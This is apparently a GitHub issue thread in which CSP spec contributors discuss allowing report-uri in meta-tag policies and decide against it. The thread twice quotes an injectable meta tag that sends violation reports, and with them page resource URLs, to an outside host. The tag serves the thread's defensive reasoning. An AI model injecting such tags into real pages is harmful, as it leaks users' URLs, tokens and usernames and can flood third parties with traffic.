Allow report-uri in meta tags.

[ScottHelme]

The current spec states that report-uri is not supported in policies delivered via meta tag. It would be beneficial if you're deploying a CSP in enforce, or report-only mode, to be able to monitor the effects of that policy on an ongoing and real-time basis.

There's no reason for the lack of support detailed in the spec, is it purely to prevent maliciously injected meta tags from creating high volumes of POST requests or are there other reasons?

This would also tie in with my other issue regarding CSPRO in meta tags: #277

You can catch the reports with the SecurityPolicyViolation events and dispatch them yourself, but that's a whole lot of work compared to simply setting the report-uri directive.

[ScottHelme]

After doing some quick research it seems the concern here was an attacker injecting a meta tag such as:

<meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'none'; report-uri https://target-site.com">

That would cause a traffic flood at the target site and not cause any visible issues on the victim of the injection. If that is the case and the attacker can inject arbitrary HTML like this, could they not just inject JS to launch the same attack? Essentially it'd just be a GitHub/Great Cannon style attack.

[andypaicu]

The difference is though that injected JS won't run unless unsafe-inline is specified. Also it's not just about a traffic flood, but the reports received could potentially reveal sensitive information since they would send all of the URLs of resources loaded (which could reveal for instance the username of a user).

I don't think we can safely allow report-uri directives in <meta> tags which lead to the decision to block CSPRO meta tags (as is also discussed in #277). Since violation events exist now we should probably revisit the decision and just block report-uri directives.

[mikewest]

I agree with @andypaicu. Injecting <meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'none'; report-uri https://target-site.com"> is not risky because of DDoS. It's risky because it reveals the URL of every resource on the page to target-site.com. URLs contain interesting information (usernames, CSRF tokens, etc) far too often for this to be considered safe. On the other hand, #277 already requires script execution on the page in order to read event detail, so there's very little additional risk.

It's fine to revisit the conversation around report-uri, but I don't think there's any new evidence here.

[annevk]

What setups do still not allow configuration of HTTP headers? I feel we should really put more focus and advocacy towards that instead of continuing to cater to such setups. <meta> is a rather broken vehicle for security metadata.

[mikewest]

What setups do still not allow configuration of HTTP headers?

GitHub pages. Amazon S3. Lots of other static hosts.

<meta> is a rather broken vehicle for security metadata.

I don't disagree!

[ScottHelme]

I have to agree with Mike, there are quite a few hosts that don't allow the configuration of headers at all and they cover a very large number of websites, meaning no CSP for them.

I can see the value of keeping report-uri out of the meta tags and instead allowing CSPRO (#277) so we can handle the SecurityPolicyViolation events instead. Right now we have a way to deploy a CSP but no way to test it safely before deploying it..

[mikewest]

👍

Closing this out in favor of #277.

[annevk]

You agree with Mike that <meta> is rather broken? -_- There are already many security features that do not work without access to HTTP headers. Continuing to provide <meta> syntax for some (and doing all the work around it to test, etc.) doesn't really make it clear it's not a viable solution.

[ScottHelme]

No, "I have to agree with Mike, there are quite a few hosts that don't allow the configuration of headers". I'm just saying that this is definitely a problem.